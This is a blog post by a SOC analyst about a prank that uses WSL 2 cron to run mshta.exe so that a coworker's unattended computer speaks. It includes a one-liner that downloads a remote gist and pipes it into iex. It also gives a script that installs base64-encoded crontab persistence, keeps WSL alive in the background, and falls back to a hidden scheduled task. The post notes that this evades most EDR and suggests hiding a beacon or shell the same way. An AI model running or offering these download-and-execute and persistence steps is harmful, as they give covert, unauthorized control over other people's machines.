====================
== Alert Overload ==
====================
Tales from a SOC analyst

WSL Shenanigans

WSL Shenanigans

A fun thing about WSL 2, is that it is fully capable of calling windows native functions and binaries. It also has cron. Which opens the opportunity to do some interesting things to someone’s unattended device.

Take this MSHTA execution for example. It’s a simple SAPI call made in JavaSCript. All it does is use SAPI to say “hello”. I’ve had a lot of fun in the past with various SAPI-based jokes, and this is a pretty straight forward way to do this.

mshta.exe "javascript:code(close((V=(v=new ActiveXObject('SAPI.SpVoice')).GetVoices()).count&&v.Speak('hello')))"

Of course, just saying hello one time isn’t that funny. It’s much funnier if it repeats indefinitely, saying some arbitrary string every X minutes. Possibly in such a way that it isn’t obvious where the sound is coming from.

Enter WSL 2 cron.

* * * * * /mnt/c/Windows/System32/mshta.exe "javascript:code(close((V=(v=new ActiveXObject('SAPI.SpVoice')).GetVoices()).count&&v.Speak('hello')))"

This cron job will run the SAPI call every minute. The beauty of this is that there is no way to distinguish that WSL is calling MSHTA. Most EDR products do not have the capability to monitor WSL 2 processes Bypassing EDR with WSL.

When manually looking at WSL processes, most of the processes will look something like this

alt text

Not very descriptive, right? No feasible way to immediately gauge that the magic voice from the computer is coming from this process.

So, to have a little fun with coworkers who leave their machines unlocked, you can simply run this code to set up a little ghost that talks to them.

(iwr 'https://gist.github.com/lpowell/a92ea88031d4cfe233aac4097c3e825a').Content | iex

Script content

try{
    wsl --status | out-null
    wsl sh -c "crontab -l > cron.bk; echo 'KiAqICogKiAqIC9tbnQvYy9XaW5kb3dzL1N5c3RlbTMyL21zaHRhLmV4ZSAiamF2YXNjcmlwdDpjb2RlKGNsb3NlKChWPSh2PW5ldyBBY3RpdmVYT2JqZWN0KCdTQVBJLlNwVm9pY2UnKSkuR2V0Vm9pY2VzKCkpLmNvdW50JiZ2LlNwZWFrKCdoZWxsbycpKSkiCg==' |base64 -d | crontab -"
    wsl bash -c "nohup bash -c 'while true; do sleep 1h; done &' &>/dev/null "
}catch{
    # do a scheduled task for fun on all platforms
    $exe  = "powershell.exe"
    $arguments = "-WindowStyle Hidden -Command ""Add-Type -AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('Goodbye')"""

    $action = New-ScheduledTaskAction -Execute $exe -Argument $arguments
    $t1 = New-ScheduledTaskTrigger -Daily -At 01:00
    $t2 = New-ScheduledTaskTrigger -Once -At 01:00 `
        -RepetitionInterval (New-TimeSpan -Minutes 1) `
        -RepetitionDuration (New-TimeSpan -Hours 23 -Minutes 55)
    $t1.Repetition = $t2.Repetition
    $principal = New-ScheduledTaskPrincipal -UserId "$env:USERNAME" -LogonType Interactive -RunLevel Limited

    $task = New-ScheduledTask -ACtion $action -Trigger $t1 -Principal $principal

    Register-ScheduledTask "SAPI" -InputObject $task 
    Start-ScheduledTask "SAPI"

}

If you wanted to be more devious, you could certainly use wslapi.h (featured in the bypass article) to completely obfuscate this from most EDR. If you wanted a persistent, hidden, beacon or shell, WSL 2 cron might be the place to put it (See also the network containment bypass capabilities of WSL 2)…